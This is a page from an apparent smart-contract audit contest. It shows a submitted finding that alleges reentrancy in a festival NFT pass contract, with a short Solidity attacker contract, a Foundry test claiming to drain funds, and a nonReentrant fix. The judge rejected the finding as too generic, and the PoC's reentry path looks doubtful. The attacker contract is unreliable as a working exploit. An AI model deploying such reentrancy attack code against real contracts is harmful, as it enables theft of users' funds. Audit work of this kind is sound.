Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Reentrancy in State-Changing Functions

Description

  • External calls before state changes enable reentrancy attacks.

Risk

Likelihood:

  • Requires malicious contract, but common in ETH-based systems

Impact:

  • Fund theft

  • unlimited token minting

  • DoS

Proof of Concept

contract MaliciousContract {
function attack() external payable {
festivalPass.buyPass{value: 1 ether}(VIP_PASS);
beatToken.transfer(festivalPass, beatToken.balanceOf(address(this)));
}
fallback() external payable {
if (festivalPass.balance > 0) {
festivalPass.redeemMemorabilio(100); // Reentrancy
}
}
}
function test_ReentrancyExploit() public {
MaliciousContract attacker = new MaliciousContract();
vm.deal(address(attacker), 100 ether);
attacker.attack(); // Drains contract funds
}

Recommended Mitigation

Add nonReentrant modifier from OZ's ReentrancyGuard.

- function buyPass(uint256 collectionId) external payable {
+ function buyPass(uint256 collectionId) external payable nonReentrant {
Updates

Lead Judging Commences

inallhonesty Lead Judge 26 days ago
Submission Judgement Published
Invalidated
Reason: Too generic

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.